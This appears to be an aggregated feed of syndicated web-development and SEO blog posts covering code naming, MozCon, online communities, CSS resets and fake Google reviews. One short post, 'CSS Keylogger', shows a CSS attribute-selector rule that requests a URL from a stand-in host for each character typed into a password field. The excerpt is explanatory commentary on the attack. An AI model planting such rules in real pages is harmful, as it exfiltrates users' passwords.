Did you read that as Old Mans Haven or Old Man Shaven? Either way, it forces you to slow down and think which adds up and might one day lead to a misunderstanding. PascalCase, camelCase, snake_case, kebab-case are all excellent choices. Use them, and just as important, be consistent.

Here's that same code in snake_case, which is less likely to be misread:

if (old_man_shaven) {
  return true;
}

One more example:

if (!isNaN(number)) {
  alert('not a number')
}
else if (!number > 50) {
  alert('number too large')
}
else if (!number < 10) {
  alert('number too small')
}
else {
  // code here
}

I looked at some of my first lines of code for inspiration writing this post. I didn't see many bad names because I wrote code in a way that didn't use names. I used very few functions, rarely used assignments, and would abuse variables by making them do a dozen different things. Having plenty of names in your code is often a sign that you're abstracting things properly.

Here's one example from my code:

function validateNumber(number) {
  var maximumValue = 50;
  var minimumValue = 10;
  if (isNaN(number)) {
    alert('not a number')
    return false;
  }
  if (number > maximumValue) {
    alert('number too large')
    return false;
  }
  if (number < minimumValue) {
    alert('number too small')
    return false;
  }
}

if (validateNumber(number)) {
  // code here
}

Caveats

Naming things is an art, not a science. There's some things outside the name to consider when evaluating if a name is good or bad.

Context

Context can give generic terms much more meaning. For example, "item" is a vague name but, in the context of a getCustomerSalesOrder() function, we can tell it likely refers to a product that was purchased. A function that is short, focused, and takes context into account can reduce the need for verbose names. I still prefer a good name. Context can disappear easily over time as functions get longer or re-factored. Names are more permanent markers of meaning.

Comments

Code comments are important to readable code, but they can't do it all by themselves. Comments should pick up where names leave off, giving details you can't cram into a name, noting the reason for a particular way of doing things, or ranting about a broken library.

/* This refers to a product that was purchased and relates to the customer-sales-order class. */
.product-item {
  display: block;
  text-transform: uppercase;
  width: 100vw;
}

Reading Length

Longer names create more to read and wider lines. It can especially be problematic when accessing deep into an array, such as:

$order_details['customer']['ship_to_address']['default']['street_address']['line_1']

That said, even that straw man example I just gave, while verbose, is crystal clear and gives me no reason to stop reading to think or look over the rest of the function to understand the context.

Names are everywhere in Code

Most of the characters of a code file probably aren't brackets or syntax, but names. It might be variable names, function names, HTML tags or attributes, database tables or columns, or any of the countless things that we give names to in any given project.

I still struggle with naming things. I often find myself sitting frozen at my text editor, trying to name some minor variable. I've learned that when that happens, it's likely because I'm dealing with something difficult to conceptualize, which makes it all the more important to find the right name for it.

---

Working Towards Better Naming is a post from CSS-Tricks

from CSS-Tricks http://ift.tt/2GL6ehb
via IFTTT

MozCon 2018: Making the Case for the Conference (& All the Snacks!)

Posted by Danielle_Launders

You’ve got that conference looming on the horizon. You want to go — you’ve spent the past few years desperately following hashtags on Twitter, memorizing catchy quotes, zooming in on grainy snapshots of a deck, and furiously downloading anything and everything you can scour from Slideshare.

But there’s a problem: conferences cost money, and your boss won’t even approve a Keurig in the communal kitchen, much less a ticket to a three-day-long learning sesh complete with its own travel and lodging expenses.

What’s an education-hungry digital marketer to do?

How do you convince your boss to send you to the conference of your dreams?

First of all, you gather evidence to make your case.

There are a plethora of excellent reasons why attending conferences is good for your career (and your bottom line). In digital marketing, we exist in the ever-changing tech space, hurtling toward the future at breakneck speed and often missing the details of the scenery along the way.

A good SEO conference will keep you both on the edge of your seat and on the cutting-edge of what’s new and noteworthy in our industry, highlighting some of the most important and impactful things your work depends on.

A good SEO conference will flip a switch for you, will trigger that lightbulb moment that empowers you and levels you up as both a marketer and a critical thinker.

If that doesn’t paint a beautiful enough picture to convince the folks that hold the credit card, though, there are also some great statistics and resources available:

• HubSpot's statistics showing the value of meeting face-to-face and networking
• Rand's excellent deep-dive into the reasons for and against attending marketing conferences
• The ROI of investing in employee education

Specifically, we're talking about MozCon

Yes, that MozCon!

Let’s just take a moment to address the elephant in the room here: you all know why we wrote this post. We want to see your smiling face in the audience at MozCon this July (the 9th–11th, if you were wondering). There are a few specific benefits worth mentioning:

• Speakers and content: Our speakers bring their A-game each year. We work with them to bring the best content and latest trends to the stage to help set you up for a year of success.
• Videos to share with your team: About a month or so after the conference, we’ll send you a link to professionally edited videos of every presentation at the conference. Your colleagues won’t get to partake in the morning Top Pot doughnuts or Starbucks coffee, but they will get a chance to learn everything you did, for free.
• Great food onsite: We understand that conference food isn’t typically worth mentioning, but at MozCon you can expect snacks from local Seattle vendors - in the past this includes Trophy cupcakes, KuKuRuZa popcorn, Starbucks’ Seattle Reserve cold brew, and did we mention bacon at breakfast? Let’s not forget the bacon.
• Swag: Expect to go home with a one-of-a-kind Roger Mozbot, a super-soft t-shirt from American Apparel, and swag worth keeping. We’ve given away Roger Legos, Moleskine notebooks, phone chargers, and have even had vending machines with additional swag in case you didn’t get enough.
• Networking: You work hard taking notes, learning new insights, and digesting all of that knowledge — that’s why we think you deserve a little fun in the evenings to chat with fellow attendees. Each night after the conference, we'll offer a different networking event that adds to the value you'll get from your day of education.
• A supportive network after the fact: Our MozCon Facebook group is incredibly active, and it’s grown to have a life of its own — marketers ask one another SEO questions, post jobs, look for and offer advice and empathy, and more. It’s a great place to find TAGFEE support and camaraderie long after the conference itself has ended.
• Discounts for subscribers and groups: Moz Pro subscribers get a whopping $500 off their ticket cost (even if you're on a free 30-day trial!) and there are discounts for groups as well, so make sure to take advantage of savings where you can!
• Ticket cost: At MozCon our goal is to break even, which means we invest all of your ticket price back into you. Check out the full breakdown below:

Can you tell we're serious about the snacks?

You can check out videos from years past to get a taste for the caliber of our speakers. We’ll also be putting out a call for community speaker pitches in April, so if you’ve been thinking about breaking into the speaking circuit, it could be an amazing opportunity — keep an eye on the blog for your chance to submit a pitch.

If you’ve ever seriously considered attending an SEO conference like MozCon, now’s the time to do it. You’ll save actual hundreds of dollars by grabbing subscriber or group pricing while you can (think of all the Keurigs you could get for that communal kitchen!), and you'll be bound for an unforgettable experience that lives and grows with you beyond just the three days you spend in Seattle.

Grab your ticket to MozCon!

Sign up for The Moz Top 10, a semimonthly mailer updating you on the top ten hottest pieces of SEO news, tips, and rad links uncovered by the Moz team. Think of it as your exclusive digest of stuff you don't have time to hunt down but want to read!

from The Moz Blog http://ift.tt/2F2JNqx
via IFTTT

Complexity

Understanding Web Fonts and Getting the Most Out of Them

Adding Code-Splitting Capabilities To A WordPress Website Through PoP

Speed is among the top priorities for any website nowadays. One way to make a website load faster is by code-splitting: splitting an application into chunks that can be loaded on demand — loading only the required JavaScript that is needed and nothing else. Websites based on JavaScript frameworks can immediately implement code-splitting through Webpack, the popular JavaScript bundler. For WordPress websites, though, it is not so easy. First, Webpack was not intentionally built to work with WordPress, so setting it up will require quite some workaround; secondly, no tools seem to be available that provide native on-demand asset-loading capabilities for WordPress.

from Articles on Smashing Magazine — For Web Designers And Developers http://ift.tt/2orV9dm
via IFTTT

How (and Whether) to Invest in and Structure Online Communities - Whiteboard Friday

Posted by randfish

Building an online community sounds like an attractive idea on paper. A group of enthusiastic, engaged users working on their own to boost your brand? What's the hitch?

Well, building a thriving online community takes a great deal of effort, often with little return for a very long time. And there are other considerations: do you build your own platform, participate in an existing community, or a little of both? What are the benefits from a brand, SEO, and content marketing perspective? In this edition of Whiteboard Friday, Rand answers all your questions about building yourself an online community, including whether it's an investment worth your time.

Click on the whiteboard image above to open a high-resolution version in a new tab!

Video Transcription

Howdy, Moz fans, and welcome to another edition of Whiteboard Friday. This week, we're chatting about how and whether to invest in and structure online communities.

I want to say a thank you to @DaveCraige on Twitter. Dave, thank you very much for the question, an excellent one. I think this is something that a lot of content marketers, web marketers, community builders think about is, "Should I be making an investment in building my own community? Should I leverage someone's existing community? How can I do that and benefit from an SEO perspective and a content marketing and a brand awareness perspective?" So we'll try and tackle some of those questions today on Whiteboard Friday.

Strategy first!

First off, before you go and invest anywhere or build anything, I urge you to think strategy first, meaning your business has goals. You have things that you want to accomplish. Maybe those are revenue growth or conversions. Maybe they have to do with entering a new sphere of influence or pursuing a new topic. Maybe you're trying to launch a new product. Maybe you're trying to pivot the business or disrupt yourself, change with technology.

Whatever those business goals are, they should lead you to marketing goals, the things that marketing can help to accomplish in those business goals. From that should fall out a bunch of tactics and initiatives. It's only down here, in your marketing goals and tactical initiatives, that if online communities match up with those and serve your broader business goals, that you should actually make the investment. If not or if they fall below the line of, "Well, we can do three things that we think this year and do them well and this is thing number 4 or number 5 or number 10," it doesn't make the cut.

Online communities fit here if...

1. A passionate group of investment-worthy size exists in your topic.

So if, for example, you are targeting a new niche. I think Dave himself is in cryptocurrency. There's definitely a passionate group of people in that sphere, and it is probably of investment-worthy size. More recently, that investment has been a little rocky, but certainly a large size group, and if you are targeting that group, a community could be worthwhile. So we have passion. We have a group. They are of sizable investment.

2. You/your brand/your platform can provide unique value via a community that's superior to what's available elsewhere.

Second, you or your brand or your platform can provide not just value but unique value, unique value different from what other people are offering via a community superior to what's available elsewhere. Dave might himself say, "Well, there's a bunch of communities around crypto, but I believe that I can create X, which will be unique in ways Y and Z and will be preferable for these types of participants in this way." Maybe that's because it enables sharing in certain ways. Maybe it enables transparency of certain kinds. Maybe it's because it has no vested interest or ties to particular currencies or particular companies, whatever the case may be.

3. You're willing to invest for years with little return to build something of great long-term value.

And last but not least, you're willing to invest potentially for years, literally years without return or with very little return to build something of great long-term value. I think this is the toughest one. But communities are most similar in attribute to content marketing, where you're going to put in a ton of upfront effort and a lot of ongoing effort before you're going to see that return. Most of the time, most communities fail because the people behind them were not willing to make the investments to build them up, or they made other types of mistakes. We'll talk about that in a second.

Two options: Build your own platform, or participate in an existing community

You have two options here. First, you can build your own platform. Second, you can participate in an existing community. My advice on this is never do number one without first spending a bunch of time in number two.

So if you are unfamiliar with the community platforms that already exist in interior decorating or in furniture design or in cryptocurrency or in machining tools or in men's fashion, first participate in the communities that already exist in the space you're targeting so that you are very familiar with the players, the platforms, the options, and opportunities. Otherwise, you will never know whether it's an investment-worthy size, a passionate group. You'll never know how or whether you can provide unique value. It's just going to be too tough to get those things down. So always invest in the existing communities before you do the other one.

1. Build your own platform

Potential structures

Let's talk quickly about building your own platform, and then we'll talk about investing in others. If you're deciding that what matches your goals best and your strategy best is to build your own platform, there are numerous opportunities. You can do it sort of halfway, where you build on someone else's existing platform, for example creating your own subreddit or your own Facebook or LinkedIn group, which essentially uses another community's platform, but you're the owner and administrator of that community.

Or you can actually build your own forum or discussion board, your own blog and comments section, your own Q&A board, your own content leaderboard, like Hacker News or like Dharmesh and I did with Inbound.org, where we essentially built a Reddit or Hacker News-like clone for marketers.

Those investments are going to be much more severe than a Facebook group or a Twitter hashtag, a Twitter chat or a LinkedIn group, or those kinds of things, but you want to compare the benefits and drawbacks. In each, there are some of each.

Benefits & drawbacks

So forums and discussions, those are going to have user-generated content, which is a beautiful thing because it scales non-linearly with your investment. So if you build up a community of people who are on an ongoing basis creating topics and answering those topics and talking about those things in either a Q&A board or a forum discussion or a content leaderboard, what's great is you get that benefit, that SEO benefit of having a bunch of longtail, hopefully high-quality content and discussion you're going to need to do.

Mostly, what you're going to worry about is drawbacks like the graveyard effect, where the community appears empty and so no one participates and maybe it drags down Google's perception of your site because you have a bunch of low quality or thin pages, or people leave a bunch of spam in there or they become communities filled with hate groups, and the internet can devolve very quickly, as you can see from a lot of online communities.

Whatever you're doing, blog and comments, you get SEO benefits, you get thought leadership benefits, but it requires regular content investments. You don't get the UGC benefit quite like you would with a forum or a discussion. With Facebook groups or LinkedIn groups, Twitter hashtags, it's easy to build, but there's no SEO benefit, usually very little to none.

With a Q&A board, you do get UGC and SEO. You still have those same moderation and graveyard risks.

With content leaderboards, they're very difficult to maintain, Inbound.org being a good example, where Dharmesh and I figured, "Hey, we can get this thing up and rolling," and then it turns out no, we need to hire people and maintain it and put in a bunch of effort and energy. But it can become a bookmarkable destination, which means you get repeat traffic over and over.

Whatever you're choosing, make sure you list out these benefits and then align these with the strategy, the marketing goal, the tactics and initiatives that flow from those. That's going to help determine how you should structure, whether you should structure your own community.

2. Participate in existing communities

Size/reach

The other option is participating in existing ones, places like Quora, subreddits, Twitter, LinkedIn groups, existing forums. Same thing, you're going to take these. Well, we can participate on an existing forum, and we can see that the size and reach is on average about nine responses per thread, about three threads per day, three new threads per day.

Benefits & drawbacks

The benefit is that it can build up our thought leadership and our recognition among this group of influential people in our field. The drawback is it builds our competitor's content, because this forum is going to be ranking for all those things. They own the platform. It's not our owned platform. Then we align that with our goals and initiatives.

Four bits of advice

1. If you build, build for SEO + owned channels. Don't create on someone else's platform.

So I'm not going to dive through all of these, but I do want to end on some bits of advice. So I mentioned already make sure you invest in other people's communities before you build your own. I would also add to that if you're going to build something, if you're going to build your own, I would generally rule these things out — LinkedIn groups, Facebook groups, Twitter hashtag groups. Why? Because those other platforms control them, and then they can change them at any time and your reach can change on those platforms. I would urge you to build for SEO and for an owned media channel.

2. Start with a platform that doesn't lose credibility when empty (e.g. blog > forum).

Second, I'd start with a platform that doesn't lose credibility when it's empty. That is to say if you know you want to build a forum or a content leaderboard or a Q&A board, make it something where you know that you and your existing team can do all the work to create a non-graveyard-like environment initially. That could mean limiting it to only a few sections in a forum, or all the Q&A goes in one place as opposed to there are many subforums that have zero threads and zero comments and zero replies, or every single thing that's posted, we know that at least two of us internally will respond to them, that type of stuff.

3. Don't use a subdomain or separate domain.

Third, if you can, avoid using a subdomain and definitely don't use a separate domain. Subdomains inherit some of the ranking ability and benefits of the primary domain they're on. Separate domains tend to inherit almost none.

4. Before you build, gather a willing, excited crew via an email group who will be your first active members.

Last, but not least, before you build, gather a willing, excited group of people, your crew, hopefully via an email group — this has served me extremely well — who will be those first active members.

So if you're building something in the crypto space, as maybe Dave is considering, I might say to him, hey, find those 10 or 15 or 20 people who are in your world, who you talk to online already, create an email group, all be chatting with each other and contributing. Then start your Q&A board, or then start your blog and your comments section, or then start your forum, what have you. If you can seed it with that initial passionate group, you will get over a lot of the big hurdles around building or rolling your own community system.

All right, everyone. Hope you've enjoyed this edition of Whiteboard Friday, and we'll see you again next week. Take care.

Video transcription by Speechpad.com

Sign up for The Moz Top 10, a semimonthly mailer updating you on the top ten hottest pieces of SEO news, tips, and rad links uncovered by the Moz team. Think of it as your exclusive digest of stuff you don't have time to hunt down but want to read!

from The Moz Blog http://ift.tt/2sNzYrj
via IFTTT

modern-normalize

Another don't call it a reset from Sindre Sorhus. It's a port of Normalize that, as the name suggests, is modernized to remove some of the older stuff and add a few opinionated bits. I'm good with light sensible opinions, like in this case, box-sizing: border-box; everywhere. This looks similar to sanitize.css which is also based on Normalize and brings a few more sensible opinions. Same with Reboot.

If you're interested in some of the history and thinking behind these things, I wrote about that not long ago. Daniel Box made a little tool to compare them and I forked it to include modern-normalize.

Direct Link to Article — Permalink

---

modern-normalize is a post from CSS-Tricks

from CSS-Tricks http://ift.tt/2ENZuiF
via IFTTT

CSS Keylogger

Scary little attack using essentially a bunch of attribute selectors like this:

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

At first, I was like wait a minute, you can't select inputs based on what people type in them but only what's set on the attribute itself. Max Chehab shows how it is possible, however, because React uses "controlled components" that do this by default. Not to mention you can apply the typed value to the attribute easily like:

const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
  inp.setAttribute('value', inp.value)
});

How useful and widespread is it to select inputs based on the value attribute like this? I'm not sure I would miss it if it got yanked.

Direct Link to Article — Permalink

---

CSS Keylogger is a post from CSS-Tricks

from CSS-Tricks http://ift.tt/2odMpYQ
via IFTTT

Variable Order

A fascinating little tech demo by Roman Komarov that allows for clickable table sorting entirely in CSS. It's a combination of inline CSS custom properties, the order property, and calc().

This demo sparked a ton of conversation about accessibility, the crux of which is that the reordering is done only visually and not in the source. Which means that someone interacting directly with the source (a screen reader) might be mislead into thinking they've sorted the table when they haven't. Rachel Andrew pointed out that it's actually one of the rare things the spec itself tells you not to do:

Authors must use order only for visual, not logical, reordering of content. Style sheets that use order to perform logical reordering are non-conforming.

As a connoisseur of fine CSS trickery, I applaud the idea. In production, still a job for JavaScript. And about that order property? Is it always a bad idea to use? Amelia Bellamy-Royds has a post with a pretty good use case.

---

Variable Order is a post from CSS-Tricks

from CSS-Tricks http://ift.tt/2EJpBGt
via IFTTT

Some Things I Recommend

Howdy. I'm taking this week's "Sponsored Post" to give a shout out to some apps, courses, and services that I personally like. These things also have affiliate programs, meaning if you buy the thing, we earn a portion of that sale, which supports this site. That money goes to pay people to write the things we publish. That said, everything on this list is something that I'm happy going on the record endorsing.

• PixelSnap: A macOS Toolbar app for getting pixel dimensions from anywhere on the screen. Way handier than trying to use ⌘-⇧-4 for that.
• An Introduction to Gutenberg by Joe Casabona: We just had a ShopTalk episode about how Gutenburg (a new editor) is coming to WordPress. There is certainly stuff to learn, and this is a course you can take to do that learning.
• React for Beginners: Speaking of learning, this Wes Bos course will get you up to speed with React. Wes has loads of other great courses as well, like on Redux, Node, ES6, and CSS Grid.
• Learn UI Design: Learn how to design effective user interfaces with Erik Kennedy.
• Club GreenSock: The best animation framework out there. Once you're a member, you get access to use stuff like the MorphSVG plugin and their new GSDevTools.
• Amazon List: I made a little storefront of some items I love and use all the time.
• WP DB Migrate Pro: I think this is my favorite WordPress plugin. I like to work on my WordPress sites locally, and I always want a fresh copy of the database from production so I'm designing and developing around reality. This makes it a push-button affair.
• JetPack: I'm also a fan of all the things Jetpack does for my WordPress site. It kinda seems like a big scary monolithic plugin, and in a sense it is, but you can easily flip features on and off as you need them. I should do a whole post on what I use, but for starters, Markdown-everywhere, social media posting, commenting improvements, handling subscriptions, increased security, and actually-good related posts.

---

Some Things I Recommend is a post from CSS-Tricks

from CSS-Tricks http://ift.tt/2CDRTAl
via IFTTT

The JavaScript Learning Landscape in 2018

Bringing Together React, D3, And Their Ecosystem

Since its creation in 2011, D3.js has become the de facto standard for building complex data visualizations on the web. React is also quickly maturing as the library of choice for creating component-based user interfaces. Both React and D3 are two excellent tools designed with goals that sometimes collide. Both take control of user interface elements, and they do so in different ways. How can we make them work together while optimizing for their distinct advantages according to your current project?

from Articles on Smashing Magazine — For Web Designers And Developers http://ift.tt/2GxibH2
via IFTTT

How to Deal with Fake Negative Reviews on Google

Posted by JoyHawkins

Fake reviews are a growing problem for those of us that own small businesses. In the online world, it's extremely easy to create a new account and leave either a positive or negative review for any business — regardless of whether you’ve ever tried to hire them.

Google has tons of policies for users that leave reviews. But in my experience they're terrible at automatically catching violations of these policies. At my agency, my team spends time each month carefully monitoring reviews for our clients and their competitors. The good news is that if you’re diligent at tracking them and can make a good enough case for why the reviews are against the guidelines, you can get them removed by contacting Google on Twitter, Facebook, or reporting via the forum.

Recently, my company got hit with three negative reviews, all left in the span of 5 minutes:

Two of the three reviews were ratings without reviews. These are the hardest to get rid of because Google will normally tell you that they don’t violate the guidelines — since there's no text on them. I instantly knew they weren’t customers because I'm really selective about who I work with and keep my client base small intentionally. I would know if someone that was paying me was unhappy.

The challenge with negative reviews on Google

The challenge is that Google doesn’t know who your customers are, and they won’t accept “this wasn't a customer” as an acceptable reason to remove a review, since they allow people to use anonymous usernames. In most cases, it’s extremely difficult to prove the identity of someone online.

The other challenge is that a person doesn’t have to be a customer to be eligible to leave a review. They have to have a “customer experience,” which could be anything from trying to call you and getting your voicemail to dropping by your office and just browsing around.

How to respond

When you work hard to build a good, ethical business, it's always infuriating when a random person has the power to destroy what took you years to build. I’d be lying if I said I wasn’t the least bit upset when these reviews came in. Thankfully, I was able to follow the advice I’ve given many people in the last decade, which is to calm down and think about what your future prospects will see when they come across review and the way you respond to it.

Solution: Share your dilemma

I decided to post on Twitter and Facebook about my lovely three negative reviews, and the response I got was overwhelming. People had really great and amusing things to say about my dilemma.

Dear: Whoever spammed my listing this morning with fake reviews. You probably should have gone with more believable usernames. #StopCrapOnTheMap pic.twitter.com/9Nat163d93

— Joy Hawkins (@JoyanneHawkins) January 16, 2018

Whoever was behind these three reviews was seeking to harm my business. The irony is that they actually helped me, because I ended up getting three new positive reviews as a result of sharing my experience with people that I knew would rally behind me.

For most businesses, your evangelists might not be on Twitter, but you could post about it on your personal Facebook profile. Any friends that have used your service or patronized your business would likely respond in the same manner. It’s important to note that I never asked anyone to review me when posting this — it was simply the natural response from people that were a fan of my company and what we stand for. If you’re a great company, you’ll have these types of customers and they should be the people you want to share this experience with!

But what about getting the negative reviews removed?

In this case, I was able to get the three reviews removed. However, there have also been several cases where I’ve seen Google refuse to remove them for others. My plan B was to post a response to the reviews offering these “customers” a 100% refund. After all, 100% of zero is still zero — I had nothing to lose. This would also ensure that future prospects see that I’m willing to address people that have a negative experience, since even the best businesses in the world aren’t perfect. As much as I love my 5-star rating average, studies have shown that 4.2–4.5 is actually the ideal average star rating for purchase probability.

Have you had an experience with fake negative reviews on Google? If so, I’d love to hear about it, so please leave a comment.

Sign up for The Moz Top 10, a semimonthly mailer updating you on the top ten hottest pieces of SEO news, tips, and rad links uncovered by the Moz team. Think of it as your exclusive digest of stuff you don't have time to hunt down but want to read!

from The Moz Blog http://ift.tt/2BI3zFL
via IFTTT